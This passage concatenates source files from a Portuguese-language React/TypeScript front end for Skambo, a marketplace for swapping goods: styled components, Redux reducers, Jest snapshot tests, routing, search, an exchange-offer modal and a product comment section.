&:hover {
cursor: pointer;
}
}
`;
export const BoxContent = styled.div`
display: flex;
flex-direction: row;
justify-content: center;
align-items: center;
width: 55%;
margin: 15vh auto;
height: 553px;
justify-self: center;
box-shadow: 0px 2px 6px rgba(0, 0, 0, 0.25);
@media (max-width: 1368px) {
width: 60%;
}
@media (max-width: 1200px) {
width: 75%;
}
@media (max-width: 992px) {
width: 93%;
}
@media (max-width: 768px) {
width: 96%;
flex-direction: column;
height: 880px;
}
@media (max-width: 480px){
width: 90%;
height: 553px;
box-shadow: 0px 0px 0px #ffffff;
}
`;
export const FormContainer = styled.div`
display: flex;
flex-direction: column;
background-color: #ffffff;
width: 45%;
height: 100%;
justify-content: center;
align-items: center;
h1 {
margin: 35px;
}
label {
font-weight: 700;
font-size: 14px;
margin-bottom: 6px;
}
input {
font-weight: 700;
background-color: #f4f4f6;
border: none;
padding: 10px;
border-radius: 4px;
margin-bottom: 16px;
&::placeholder {
opacity: 64%;
}
}
@media (max-width: 768px) {
width: 96%;
h1 {
margin-top: 40px;
}
}
@media (max-width: 480px) {
justify-content: flex-start;
}
`;
export const LogoContainer = styled.div`
display: flex;
background-color: var(--primary);
width: 55%;
height: 100%;
justify-content: center;
align-items: center;
@media (max-width: 768px) {
width: 96%;
margin-top: 64px;
}
@media (max-width: 480px){
display: none;
}
img {
margin: 20px;
}
`;
<file_sep>import React from 'react';
import ChangeProfile from '../index';
import TestRenderer from 'react-test-renderer';
import { shallow } from 'enzyme';
import { Form } from 'semantic-ui-react';
jest.mock('react-hook-form', () => ({
useForm: () => ({
register: jest.fn(),
handleSubmit: jest.fn(),
errors: jest.fn(),
}),
}));
jest.mock('react-redux', () => ({
useDispatch: () => jest.fn(),
useSelector: () => jest.fn(),
}));
jest.mock('jwt-decode', () => () => ({}));
describe('Change-Profile Snapshot test', () => {
it('Change Profile Snapshot test Render', () => {
const tree = TestRenderer.create(<ChangeProfile />).toJSON();
expect(tree).toMatchSnapshot();
});
});
// describe('Test Enzyme', () => {
// it('Rendering all arguments', () => {
// const wrapper = shallow(<ChangeProfile />);
// expect(
// wrapper.containsAllMatchingElements(
// <input name="name" type="type" placeholder="placeholder" ref={() => {}} />
// )
// ).to.equal(true);
// });
// });
<file_sep>import { combineReducers } from 'redux';
import session from './session';
import user from './user';
export const rootReducer = combineReducers({
session, user
});
export type RootState = ReturnType<typeof rootReducer>;
export default combineReducers({ session, user });
<file_sep>import React from "react";
import { Switch, Route, Redirect } from "react-router-dom";
import { routesNotAuth } from "./helper";
import Layout from "../layout";
import { UserSales } from "../../pages";
const Routes = () => {
const routesRender = routesNotAuth;
return (
<Switch>
{routesRender.map((item, index) => (
<Route key={index} exact path={item.path}>
{item.path === '/login' || item.path === '/register' ? (
<item.page />
) : (
<Layout>
<item.page />
</Layout>
)}
</Route>
))}
<Route path="/my-sales">
<UserSales />
</Route>
<Route path="*">
<Redirect to="/" />
</Route>
</Switch>
);
};
export default Routes;
<file_sep>import React, { useState, useEffect } from 'react';
import * as Styled from './styles';
import { AiFillDelete, AiOutlineHome, AiOutlineUser } from 'react-icons/ai';
import { FiPackage, FiSettings } from 'react-icons/fi';
import { MdModeEdit } from 'react-icons/md';
import jwt_decode from 'jwt-decode';
import { useSelector } from 'react-redux';
import Card from '../../components/card';
import { fetchUserSales, requestRemoveSale } from '../../redux/actions/user';
import { useHistory } from 'react-router-dom';
import { useDispatch } from 'react-redux';
import empty from '../../media/icons/empty.svg';
import Swal from 'sweetalert2';
import Lootie from 'react-lottie';
import animationData from '../../media/animations/10800-retail-exchange.json';
import { Table } from 'semantic-ui-react';
import ChangeProfile from '../../components/change-profile';
import { Container as LayoutContainer } from '../../components/layout/styles';
import Menu from '../../components/menu';
import EditModal from '../../components/edit-modal';
import axios from 'axios';
interface stateProps {
session: { token: string };
}
interface productProps {
name: string;
category: string;
usability: string;
value: string;
id: number;
thumbnail: string;
}
const UserSales: React.FC = () => {
const [active, setActive] = useState('mySales');
const dispatch = useDispatch();
const session = useSelector((state: stateProps) => state.session);
const currentUser = useSelector(({ session }: RootState) => session.currentUser);
const user = useSelector((state: { user: any }) => state.user);
const [userInfo, setUserInfo]: any = useState();
const decoded: { sub: string } = jwt_decode(session.token);
const history = useHistory();
const defaultOptions = {
loop: true,
animationData: animationData,
rendererSettings: {
preserveAspectRatio: 'xMidYMid slice',
},
};
useEffect(() => {
setTimeout(() => {
dispatch(fetchUserSales(decoded.sub, session.token));
}, 1300);
}, []);
const handleRemove = (saleId: string) => {
Swal.fire({
title: 'Tem certeza que deseja deletar esse anúncio?',
text: 'Você não podera reverter essa ação!',
icon: 'warning',
showCancelButton: true,
cancelButtonText: 'Cancelar',
confirmButtonColor: '#3085d6',
cancelButtonColor: '#d33',
confirmButtonText: 'Deletar!',
}).then((result) => {
if (result.isConfirmed) {
dispatch(requestRemoveSale(saleId, session.token));
Swal.fire('Deletado!', 'Seu anúncio foi deletado', 'success');
}
});
};
return (
<LayoutContainer>
<Menu></Menu>
<Styled.Container>
{active === 'mySales' ? (
Object.keys(user).length === 0 ? (
<Styled.LoadingContainer>
<Lootie options={defaultOptions} height={200} width={200} />
</Styled.LoadingContainer>
) : (
<>
<Styled.UserInfo>
{currentUser.userImage !== undefined ? (
<img src={currentUser.userImage} />
) : (
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAXwAAAF8CAMAAAD7OfD4AAAA8FBMVEXCxsrDx8vEyMzFyMzFyc3Gys7Hys7Hy8/IzM/JzNDJzdDKzdHLztLLz9LMz9PN0NPN0dTO0dXP0tXP0tbQ09bQ1NfR1NjS1djS1tnT1tnU19rV2NvW2dzX2t3Y293Y297Z3N/a3N/a3eDb3uDc3uHc3+Ld4OLe4OPe4ePf4eTg4uTg4+Xh4+bi5Obi5efj5efk5ujk5unl5+nm6Orn<KEY>" />
)}
<strong>{currentUser.name !== undefined ? currentUser.name : 'Skambista'}</strong>
<section>
<div>
<AiOutlineHome /> Curitiba/PR
</div>
<div>
{' '}
<FiPackage /> {currentUser.trades !== undefined ? currentUser.trades : 0} Trocas
</div>
</section>
<Styled.ProfileButtonActive onClick={() => setActive('mySales')}>
<AiOutlineUser/> Meus Anúncios
</Styled.ProfileButtonActive>
<Styled.SettingsButton onClick={() => setActive('settings')}>
<FiSettings/> Alterar informações
</Styled.SettingsButton>
</Styled.UserInfo>
{user?.userSales?.length > 0 ? (
<Styled.TableContainer>
<Styled.Table unstackable>
<Table.Body>
<Table.Row>
<Table.Cell></Table.Cell>
<Table.Cell>
<strong>Nome</strong>
</Table.Cell>
<Table.Cell>
<strong>Categoria</strong>
</Table.Cell>
<Table.Cell>
<strong>Condição</strong>
</Table.Cell>
<Table.Cell>
<strong>Valor aprox</strong>
</Table.Cell>
<Table.Cell>
<strong></strong>
</Table.Cell>
</Table.Row>
{user.userSales &&
user.userSales.map((product: any) => {
return (
<Table.Row>
<Table.Cell>
<img src={product.thumbnail} alt="" />
</Table.Cell>
<Table.Cell>{product.name}</Table.Cell>
<Table.Cell>{product.category}</Table.Cell>
<Table.Cell>{product.usability}</Table.Cell>
<Table.Cell>R$ {product.value}</Table.Cell>
<Table.Cell>
<EditModal saleId={product.id} />
</Table.Cell>
<Table.Cell>
<Styled.RemoveButton
onClick={() => {
handleRemove(product.id);
}}>
Apagar
</Styled.RemoveButton>
</Table.Cell>
</Table.Row>
);
})}
</Table.Body>
</Styled.Table>
</Styled.TableContainer>
) : (
<Styled.Empty>
<h2>Você ainda não tem nenhum anúncio!</h2>
<img src={empty} />
</Styled.Empty>
)}
</>
)
) : (
<>
<Styled.UserInfo>
{currentUser.userImage !== undefined ? (
<img src={currentUser.userImage} />
) : (
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAXwAAAF8CAMAAAD7OfD4AAAA8FBMVEXCxsrDx8vEyMzFyMzFyc3Gys7Hys7Hy8/IzM/JzNDJzdDKzdHLztLLz9LMz9PN0NPN0dTO0dXP0tXP0tbQ09bQ1NfR1NjS1djS1tnT1tnU19rV2NvW2dzX2t3Y293Y297Z3N/a3N/a3eDb3uDc3uHc3+Ld4OLe4OPe4ePf4eTg4uTg4+Xh4+bi5Obi5efj5efk5ujk5unl5+nm6Orn6evo6uzp6+3q6+3q7O7r7e7s7e/s7vDt7/Dt7/Hu8PHv8PLv8fPw8vPx8vTx8/Ty9PXz9Pbz9fb09ff19vf19/j29/j3+Pn3+fr4+fr5+vv6+/wTf6<KEY>/p4ThF2pHAAAAAElFTkSuQmCC" />
)}
<strong>{currentUser.name !== undefined ? currentUser.name : 'Skambista'}</strong>
<section>
<div>
{' '}
<AiOutlineHome /> Curitiba/PR
</div>
<div>
{' '}
<FiPackage /> {currentUser.trades !== undefined ? currentUser.trades : 0} Trocas
</div>
</section>
<Styled.ProfileButton onClick={() => setActive('mySales')}>
<AiOutlineUser/> Meus Anúncios
</Styled.ProfileButton>
<Styled.SettingsButtonActive onClick={() => setActive('settings')}>
<FiSettings/> Alterar informações
</Styled.SettingsButtonActive>
</Styled.UserInfo>
<ChangeProfile />
</>
)}
</Styled.Container>
</LayoutContainer>
);
};
export default UserSales;
<file_sep>import React, { useEffect, useState } from 'react';
import { Container, ResultSearch } from './styles';
import { useParams, useHistory } from 'react-router-dom';
import { useSelector } from 'react-redux';
import { RootState } from '../../redux/reducers';
import Card from '../../components/card';
import Swal from 'sweetalert2';
import axios from 'axios';
interface ProductsProps {
name: string;
category: string;
thumbnail: string;
search: string;
id: string;
}
const UserSearch: React.FC = () => {
const [productsList, setProductsList] = useState<ProductsProps[]>([]);
const [filterProducts, setFilterProducts] = useState<ProductsProps[]>([]);
const [messageSearch, setMessageSearch] = useState('');
const token = useSelector((session: any) => session.token);
const url = 'https://capstone-q2.herokuapp.com/products';
const history = useHistory();
const { search } = useParams<ProductsProps>();
useEffect(() => {
axios
.get(url, {
headers: {
Authorization: `Bearer ${token}`,
},
})
.then(({ data }) => {
setProductsList(data);
})
.catch(({ response }) => {
if (response?.status === 401 && token != '') {
Swal.fire({
title: `Você foi deslogado! Faça o Login novamnte.`,
confirmButtonText: `Ok`,
}).then((result) => {
if (result.isConfirmed) {
history.push('/login');
}
});
}
});
}, []);
useEffect(() => {
const filterSearch = productsList.filter(({ name }) => {
const arrProductAPI = name.toLocaleLowerCase().split(' ');
const arrSearch = search.toLocaleLowerCase().split(' ');
for (let i = 0; i <= arrProductAPI.length; i++) {
if (arrProductAPI.includes(arrSearch[i])) {
return name;
}
}
});
if (filterSearch.length === 0) {
setMessageSearch(`Nenhum resultado para ${search}`);
} else {
setMessageSearch(`Pesquisou por ${search}`);
}
setFilterProducts(filterSearch);
}, [productsList, search]);
const goProductPage = (id: string) => {
{id === 'unique_id' ? history.push('/') : history.push(`/products/${id}`)}
}
return (
<div>
<Container>
<h3> {messageSearch} </h3>
<ResultSearch>
{filterProducts &&
filterProducts.map((product: any, key) => {
return (
<Card
key={key}
title={product.name}
category={`${product.category} / ${product.subCategory}`}
imgUrl={product.thumbnail}
onClick={() => goProductPage(product.id)}
/>
);
})}
</ResultSearch>
</Container>
</div>
);
};
export default UserSearch;
<file_sep>import React from "react";
import { Form } from "semantic-ui-react";
interface Props {
required?: boolean;
name: string;
type?: string;
label?: string;
inputPlace: string;
inputRef: any;
error?: {
message?: string;
};
}
const FormField = ({ required, name, type, label, inputPlace,inputRef, error }: Props) => {
return (
<Form.Field required={required}>
<label>{label}</label>
<input name={name} type={type} placeholder={inputPlace} ref={inputRef} />
{error && <p style={{ color: "red" }}>{error.message}</p>}
</Form.Field>
);
};
export default FormField;<file_sep>import React from 'react';
import Card from '../index';
import TestRenderer from 'react-test-renderer';
describe('Card Snapshot test', () => {
it('Card Snapshot test Render', () => {
const tree = TestRenderer.create(<Card />).toJSON();
expect(tree).toMatchSnapshot();
});
});<file_sep>import styled from 'styled-components';
export const Container = styled.div`
display: flex;
flex-direction: column;
width: 950px;
margin-top: 120px;
@media (max-width: 480px) {
margin-top: 30px;
}
`;
<file_sep>import styled from 'styled-components';
import { Image } from 'semantic-ui-react';
export const Container = styled.div`
`;
export const MsgError = styled.div`
color: red;
font-size: 20px;
text-align: center;
margin: 35px 0px;
`;
export const ButtonOffer = styled.button`
margin: 20px 20px 20px 0px;
float: right;
font-weight: 700;
color: #fff;
background-color: var(--primary);
border-radius: 7px;
height: 35px;
width: 133px;
cursor: pointer;
border: none;
`;
export const ButtonCancel = styled.button`
margin: 20px 20px 20px 0px;
float: right;
font-weight: 700;
color: #fff;
background-color: red;
border-radius: 7px;
height: 35px;
width: 133px;
cursor: pointer;
border: none;
`;
export const ButtonConfirm = styled.button`
margin: 20px 20px 20px 0px;
float: right;
font-weight: 700;
color: #fff;
background-color: #8D70FB;
border-radius: 7px;
height: 35px;
width: 133px;
cursor: pointer;
border: none;
`;
export const ProdBox = styled.div`
border: 1px solid #8080801a;
box-shadow: 0px 9px 10px -6px #c9c9c9b5;
.form {
display: flex;
justify-content: space-between;
align-items: center;
align-content: stretch;
}
input[type='checkbox'] {
margin-right:20px;
cursor: pointer;
width: 1.5em;
height: 1.5em;
}
}
`;
export const ProdImage = styled(Image)`
width: 76px;
height: 76px;
border-radius: 5px;
border: 0.5px solid gray;
margin: 10px 5px 10px 20px;
padding: 3px;
`;
<file_sep>import React from 'react'
import renderer from 'react-test-renderer'
import Register from '../index'
import 'jest-styled-components'
import 'mutationobserver-shim';
global.MutationObserver = window.MutationObserver;
jest.mock('react-router-dom', () => ({
__esModule: true,
useHistory: jest.fn(),
Link: () => <a></a>
}));
jest.mock('react-redux', () => ({
__esModule: true,
useDispatch: () => jest.fn(),
}));
describe('Register', () => {
it("Should render register", () => {
const tree = renderer
.create(<Register />)
.toJSON()
expect(tree).toMatchSnapshot()
})
})<file_sep>//Example:
export const USER_INFO = "USER_INFO";
export const USER_SALES = "USER_SALES"
export const REMOVE_SALE = "REMOVE_SALE"
export const FETCH_SUCCESS = "FETCH_SUCCESS"
export const CHANGE_PRODUCT_INFO = "CHANGE_PRODUCT_INFO"
<file_sep>import { RiTShirt2Line } from "react-icons/ri";
import { BiFootball } from "react-icons/bi";
import { GiDutchBike, GiSofa } from "react-icons/gi";
import { FiBook } from "react-icons/fi";
import { CgGames } from "react-icons/cg";
import { FaGuitar } from "react-icons/fa";
export const categories = [
{ classStyle: "games", name: "Jogos", icon: CgGames },
{ classStyle: "books", name: "Livros", icon: FiBook },
{ classStyle: "clothes", name: "Vestuários", icon: RiTShirt2Line },
{ classStyle: "bike", name: "Bicicletas", icon: GiDutchBike },
{ classStyle: "sports", name: "Esportes", icon: BiFootball },
{ classStyle: "instruments", name: "Instrumentos Musicais", icon: FaGuitar },
{ classStyle: "furniture", name: "Móveis", icon: GiSofa },
];
<file_sep>import React, { useEffect, useState } from 'react';
import { Modal, Header, Form } from 'semantic-ui-react';
import { useSelector } from 'react-redux';
import { useForm } from 'react-hook-form';
import { useHistory } from 'react-router-dom';
import * as Styled from './styles';
import { InterestButton } from '../product/styles';
import axios from 'axios';
interface IFormInputs {
checkItem?: any;
}
const OfferExchange = () => {
const [userProducts, setUserProduct] = useState([]);
const { register, handleSubmit } = useForm<IFormInputs>();
const [openModal, setOpenModal] = useState(false);
const history = useHistory();
const userId = useSelector(({ session }: any) => session.currentUser.id);
const token = useSelector(({ session }: any) => session.token);
useEffect(() => {
const currentUser = localStorage.getItem('currentUser');
let user: any;
if (typeof currentUser === 'string') {
user = JSON.parse(currentUser);
}
axios
.get(`https://capstone-q2.herokuapp.com/products?userId=${userId}`, {
headers: { Authorization: `Bearer ${token}` },
})
.then(({ data }) => setUserProduct(data));
}, [openModal]);
const onSubmit = (values: IFormInputs) => {
setOpenModal(false);
};
return (
<Styled.Container>
<Modal
trigger={<InterestButton>Tenho interesse</InterestButton>}
open={openModal}
onClose={() => setOpenModal(false)}
onOpen={() => setOpenModal(true)}>
{localStorage.length === 0 ? (
<>
<Header as="h2" textAlign="center">
Você não está logado
</Header>
<Styled.ButtonConfirm
onClick={() => {
setOpenModal(false);
history.push('/login');
}}>
Entrar
</Styled.ButtonConfirm>
</>
) : (
<>
<Header as="h2" textAlign="center">
Oferecer Produtos para Troca
</Header>
{userProducts.length === 0 ? (
<Styled.MsgError> Você não tem produtos cadastrados</Styled.MsgError>
) : (
userProducts.map(({ name, images }, index) => (
<>
<Styled.ProdBox>
<Form onSubmit={handleSubmit(onSubmit)}>
<Styled.ProdImage src={images[0]} />
<Modal.Content key={index}>
<h3>{name}</h3>
</Modal.Content>
<input type="checkbox" name="checkItem" value={name} ref={register} />
</Form>
</Styled.ProdBox>
</>
))
)}
</>
)}
{localStorage.length !== 0 && userProducts.length !== 0 ? (
<Styled.ButtonOffer type="submit" onClick={handleSubmit(onSubmit)}>
Ofertar
</Styled.ButtonOffer>
) : null}
<Styled.ButtonCancel onClick={() => setOpenModal(false)}>Cancelar</Styled.ButtonCancel>
</Modal>
</Styled.Container>
);
};
export default OfferExchange;
<file_sep>import { FETCH_SUCCESS, REMOVE_SALE, CHANGE_PRODUCT_INFO } from '../actions/types'
const defaultState: any = {}
const user = (state = defaultState, action: any) => {
switch (action.type) {
case FETCH_SUCCESS:
return {
...state,
userSales: action.userSales
}
case REMOVE_SALE:
return {
...state,
userSales: state.userSales.filter((item: any) => item.id !== action.saleId)
}
case CHANGE_PRODUCT_INFO:
const indexOfProduct = state.userSales.findIndex((item: any) => item.id === action.values.id)
let newState = { userSales: [...state.userSales] }
newState.userSales[indexOfProduct] = action.values
return {
...state,
...newState
}
default:
return { ...state }
}
}
export default user<file_sep>import React from "react";
import Slider from "react-slick"
import { covers } from "./helper"
import "../../../node_modules/slick-carousel/slick/slick.css";
import "../../../node_modules/slick-carousel/slick/slick-theme.css";
import { BannerContainer, CoverBanner } from './styles'
const Banner = () => {
const settings = {
dots: true,
infinite: true,
speed: 500,
slidesToShow: 1,
slidesToScroll: 1,
autoplay: true
};
return (
<BannerContainer>
<div>
<Slider {...settings}>
{covers && covers.map(({ title, imgUrl }, index) => {
return (
<CoverBanner key={index} alt={title} src={imgUrl} />
)
})}
</Slider>
</div>
</BannerContainer>
)
}
export default Banner<file_sep>import styled from "styled-components";
export const Container = styled.div`
display: flex;
width: 250px;
flex-direction: column;
margin-top: 120px;
background: #ffffff;
h3 {
text-align: left;
font-weight: 800;
padding: 10px;
width: 200px;
}
@media (max-width: 480px) {
display: none;
}
`;
export const Categorie = styled.div`
display: flex;
align-items: center;
width: 200px;
font-size: 16px;
padding: 10px;
cursor: pointer;
@media (max-width: 480px) {
font-size: 20px;
justify-content: flex-start;
}
`;
<file_sep>import { Product, Subcategoria } from './types';
export const defaultProduct: Product = {
userId: 0,
views: 0,
boostPlan: '',
usability: 'Semi Novo',
value: '0',
name: '',
description: '',
category: '',
subCategory: '',
images: [],
thumbnail: 'https://www.tibs.org.tw/images/default.jpg',
interests: '',
};
export const formatNumber = (n: string): string => {
return n
.replace(/(^0)/, '')
.replace(/\D/g, '')
.replace(/(\d{1,})(\d{2})$/g, '$1,$2')
.replace(/(0)(.{?})(\d{?})$/g, '$3')
.replace(/(\d{1,})(\d{3}),/g, '$1.$2,')
.replace(/(\d{1,})(\d{3})\./g, '$1.$2.');
};
export const subcategorias: Subcategoria[] = [
{ name: 'Jogos', content: ['PS4', 'Xbox One'] },
{ name: 'Livros', content: ['Fantasia', 'Sociologia'] },
{ name: 'Vestuário', content: ['Moletom', 'Calça'] },
{ name: 'Bicicletas', content: ['Infantil', 'Adulto'] },
{ name: 'Esportes', content: ['Futebol', 'Basquete'] },
{ name: 'Instrumentos Musicais', content: ['Violão', 'Teclado Eletrônico'] },
{ name: 'Móveis', content: ['Sala de Estar', 'Quarto'] },
{ name: 'Eletrônicos', content: ['Celular', 'Console'] },
];
<file_sep>## SKAMBO
## DEMO
https://skambo.vercel.app/
## 1 Formato de branch:
feature/login
## 2 Formato de commit:
https://www.conventionalcommits.org/en/v1.0.0/
Exemplos:
chore: criou,
refactor: alterou,
fix: corrigiu algum erro,.
<file_sep>import axios from 'axios';
import React, { useEffect, useState } from 'react';
import { useSelector } from 'react-redux';
import { Button, Comment, Form, Header, Icon } from 'semantic-ui-react';
import { useParams } from 'react-router-dom';
import { RootState } from '../../redux/reducers';
interface JsonTS {
author: string;
userImage: string;
message: string;
answer: any;
id: number;
date: string;
timeStamp: string;
}
interface Params {
id: any;
}
const CommentSection: React.FC = () => {
const [newComment, setNewComment] = useState('');
const [newClick, setNewClick] = useState(true);
const [newCommentsLoad, setCommentsLoad] = useState([]);
const [productOwner, setProductOwner] = useState(false);
const user = useSelector(({ session }: RootState) => session.currentUser);
const token = useSelector(({ session }: RootState) => session.token);
const { id } = useParams<Params>();
console.log("user: ", user, "token:", token);
const urlGet = `https://capstone-q2.herokuapp.com/comments?pageId=${id}`;
const urlPost = `https://capstone-q2.herokuapp.com/comments`;
const urlOwner = `https://capstone-q2.herokuapp.com/products/${id}`;
useEffect(() => {
console.log("Entrou useEffect")
axios
.get(urlGet)
.then(({ data }) => {
setCommentsLoad(data);
})
.catch((err) => console.log('Error: ', err));
}, [newClick]);
useEffect(() => {
axios
.get(urlOwner)
.then(({ data: { userId } }) => {
userId === user.id ? setProductOwner(true) : setProductOwner(false)
})
}, [productOwner]);
const handleOnChange = (evt: any): void => {
//console.log(evt.target.value);
setNewComment(evt.target.value);
}
const handleOnClick = (evt: any): void => {
evt.preventDefault();
console.log(newComment);
const values = {
author: user.name,
userId: user.id,
pageId: parseInt(id),
userImage: user.userImage ||
'https://images.unsplash.com/photo-1536164261511-3a17e671d380?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=630&q=80',
message: newComment,
date: new Date().toLocaleDateString(),
timeStamp: new Date().toLocaleTimeString(),
answer: 'none'
};
axios
.post(urlPost, values, {
headers: {
Authorization: `Bearer ${token}`,
},
})
.then((res) => console.log(res)).then(() => {
setNewClick(!newClick);
setNewComment('');
})
.catch((err) => console.log('Erro: ', err));
};
return (
<Comment.Group size='large'>
<Header as="h3" dividing>
Perguntas
</Header>
{newCommentsLoad.map(({ author, userImage, message, answer, date, timeStamp }: JsonTS, key: number) => (
<Comment key={key}>
<Comment.Avatar src={userImage} />
<Comment.Content>
<Comment.Author as="a">{author}</Comment.Author>
<Comment.Metadata>
{date && <div>{date} at {timeStamp}</div> || <div>random meta</div>}
</Comment.Metadata>
<Comment.Text>{message}</Comment.Text>
<Comment.Actions>
{productOwner ?
<Comment.Action>Reply</Comment.Action>
: <Comment.Action><Icon name='thumbs up' /></Comment.Action>}
</Comment.Actions>
</Comment.Content>
{answer !== 'none' && (
<Comment.Group size='large'>
<Comment>
<Comment.Avatar src={answer.userImage} />
<Comment.Content>
<Comment.Author as="a">{answer.author}</Comment.Author>
<Comment.Metadata>
{answer.date && <div>{date} at {answer.timeStamp}</div> || <div>random meta</div>}
</Comment.Metadata>
<Comment.Text>{answer.message}</Comment.Text>
</Comment.Content>
</Comment>
</Comment.Group>
)}
</Comment>
))}
<Form reply onSubmit={handleOnClick}>
<Form.TextArea
placeholder="Faça uma pergunta"
style={{ minHeight: 100 }}
onChange={(evt) => handleOnChange(evt)}
value={newComment}
/>
<Button content="Comentar" labelPosition="left" icon="edit" primary style={{ backgroundColor: "#8d70fb", marginBottom: "35px", }} />
</Form>
</Comment.Group>
);
};
export default CommentSection;
<file_sep>import styled from 'styled-components';
export const Title = styled.div`
display: flex;
align-items: center;
margin-top: 10px;
strong {
font-weight: 400;
}
.star-icon {
color: #f6c03e;
width: 35px;
height: 35px;
}
h2 {
margin: 0;
display: inline-block;
margin-left: 11px;
font-size: 22px;
font-weight: 800;
}
@media (max-width: 480px) {
margin-top: 0px;
justify-content: center;
}
`;
export const CarouselContainer = styled.div`
width: 900px;
height: 300px;
margin-bottom: 85px;
@media (max-width: 1024px) {
width: 100%;
}
@media (max-width: 480px) {
display: none;
}
.slick-arrow::before {
color: #000;
}
`;
export const Mobile = styled.div`
display: none;
@media (max-width: 480px) {
display: block;
}
`;
export const MobileContainer = styled.div`
display: flex;
flex-direction: row;
flex-wrap: wrap;
justify-content: center;
align-items: center;
`;
<file_sep>import styled from 'styled-components';
const Button = styled.button`
border-radius: 5px;
display: inline-grid;
height: 40px;
place-items: center;
font-weight: bold;
font-size: 14px;
border: none;
cursor: pointer;
width: 100px;
`;
export const FormDiv = styled.div`
width: 100%;
padding: 20px;
@media screen and (min-width: 750px) {
column-count: 2;
column-gap: 8px;
}
@media screen and (max-width: 749px) {
column-count: 1;
}
`;
export const ResetButton = styled(Button)`
background: #ffffff;
color: var(--primary-dark);
&:hover {
box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0.75);
background: rgba(128, 128, 128, 0.178);
}
`;
export const SendButton = styled(Button)`
background: var(--primary);
color: #ffffff;
margin-left: 12px;
&:hover {
box-shadow: -2px 2px 5px 0px rgba(0, 0, 0, 0.75);
transition: background-color 0.3s;
background-color: #7252f2;
}
`;
export const Error = styled.p`
color: red;
`;
export const DeleteImg = styled.div`
display: inline-flex;
justify-content: center;
align-items: center;
margin: 0;
background: lightgray;
color: red;
border-radius: 50%;
height: 14px;
width: 14px;
cursor: pointer;
`;
export const ButtonsDiv = styled.div`
display: flex;
width: 100%;
justify-content: flex-end;
flex-flow: row nowrap;
line-height: 1.4285em;
margin-bottom: 60px;
`;
<file_sep>import styled from 'styled-components';
export const Container = styled.div`
width: 75%;
background-color: #fff;
a {
&:hover {
cursor: pointer;
}
}
@media (max-width: 1000px) {
margin: 0;
width: 80% ;
}
`;
export const BoxContent = styled.div`
display: flex;
justify-content: center;
@media (max-width: 480px) {
margin: 0;
}
`;
export const FormContainer = styled.div`
display: flex;
flex-direction: column;
align-items: center;
width: 80%;
label {
font-weight: 700;
font-size: 14px;
margin-bottom: 6px;
}
input {
font-weight: 700;
background-color: #f4f4f6;
border: none;
padding: 10px;
border-radius: 4px;
margin-bottom: 16px;
&::placeholder {
opacity: 64%;
}
}
.ui.form {
width: 95%;
margin-top: 40px;
}
.ui.form select {
height: 38px;
}
`;
export const Header = styled.div`
display: flex;
align-items: center;
margin-top: 20px;
width: 95%;
@media (max-width: 480px) {
margin-top: 0px;
height: 20px;
h1{
font-size: 23px;
}
}
`;
export const MsgError = styled.p`
color: red;
font-size: 0.9rem;
`;
export const ButtonForm = styled.button`
font-weight: 700;
margin-top: 20px;
margin-bottom: 75px;
color: #fff;
background-color: var(--primary);
border-radius: 7px;
height: 35px;
width: 255px;
float: right;
cursor: pointer;
`;<file_sep>import styled from "styled-components";
export const Container = styled.div`
height: 100%;
max-width: 1200px;
display: flex;
margin: 0 auto;
justify-content: center;
flex-direction: column;
`;
export const Content = styled.div`
display: flex;
`;<file_sep>import styled from 'styled-components';
import { Button } from 'semantic-ui-react';
export const Container = styled.div`
display: flex;
flex-direction: column;
margin-top: 135px;
width: 950px;
h4 {
text-align: center;
}
@media (max-width: 480px) {
margin-top: 30px;
width: 100vw;
h3 {
text-align: center;
}
}
`;
export const ResultSearch = styled.div`
display: flex;
flex-wrap: wrap;
@media (max-width: 480px) {
justify-content: center;
align-items: center;
}
`;
export const CardContainer = styled.div`
position: relative;
`;
export const StyledHeart = styled.div`
position: absolute;
top: 15px;
left: 0px;
color: #d13a1e;
font-size: 25px;
cursor: pointer;
.iconDisfavor{
display: none;
}
&:hover {
.iconFavored {
display: none;
}
.iconDisfavor {
display: block;
}
}
`;
<file_sep>import React from "react";
import Menu from "../menu";
import Sidebar from "../sidebar";
import { Container, Content } from "./styles";
interface Props {
children: React.ReactNode;
}
const Layout = ({ children }: Props) => {
return (
<Container>
<Menu />
<Content>
<Sidebar />
{children}
</Content>
</Container>
);
};
export default Layout;
<file_sep>import React from 'react';
import TestRenderer from 'react-test-renderer';
import NewProduct from '../index';
import jwtDecode from 'jwt-decode';
import "mutationobserver-shim";
global.MutationObserver = window.MutationObserver;
jest.mock('react-redux', () => ({
__esModule: true,
useSelector: () => jest.fn(),
}));
jest.mock('react-router-dom', () => ({
__esModule: true,
useHistory: jest.fn(),
Link: () => <a></a>
}));
jest.mock('jwt-decode', () => () => ({
// __esModule: true,
jwtDecode: jest.fn('token', 3),
}));
describe("NewProduct", () => {
it("Should render NewProduct", () => {
const tree = TestRenderer.create(<NewProduct />).toJSON();
expect(tree).toMatchSnapshot();
});
});
<file_sep>import { USER_INFO } from './types';
import axios from 'axios';
import jwt_decode from 'jwt-decode';
export const requestUserInfo = (token: string) => (dispatch: any) => {
const decoded: { sub: string } = jwt_decode(token);
const url = `https://capstone-q2.herokuapp.com/users/${decoded.sub}`;
axios
.get(url, {
headers: {
Authorization: `Bearer ${token}`,
},
})
.then((res) => {
dispatch(updateUserInfo(token, res.data));
localStorage.setItem('currentUser', JSON.stringify(res.data));
});
};
const updateUserInfo = (token: string, currentUser: any) => ({
type: USER_INFO,
token,
currentUser,
});
<file_sep>import React from 'react';
import { CommentSection } from '../../components';
import Product from '../../components/product';
import { Container } from './styles';
const ProductPage: React.FC = () => {
return (
<Container>
<Product />
<CommentSection />
</Container>
);
};
export default ProductPage;
<file_sep>import React, { useState } from 'react';
import {
StyledMenu,
StyledMenuLeft,
StyledMenuCenter,
StyledMenuRight,
StyledLogo,
StyledSearch,
StyledButton,
StyledReverseButton,
StyledIcons,
StyledUser,
} from './styles';
import { Dropdown, Form } from 'semantic-ui-react';
import { useHistory } from 'react-router-dom';
import Logo from '../../media/img/logotipo.png';
import UserDefault from '../../media/img/userDefault.png';
import { AiOutlineHeart, AiOutlineMail } from 'react-icons/ai';
import Swal from 'sweetalert2';
import MobileCategories from '../mobile/categories';
import { useSelector } from 'react-redux';
const TopBar: React.FC = () => {
const [value, setValue] = useState('');
const history = useHistory();
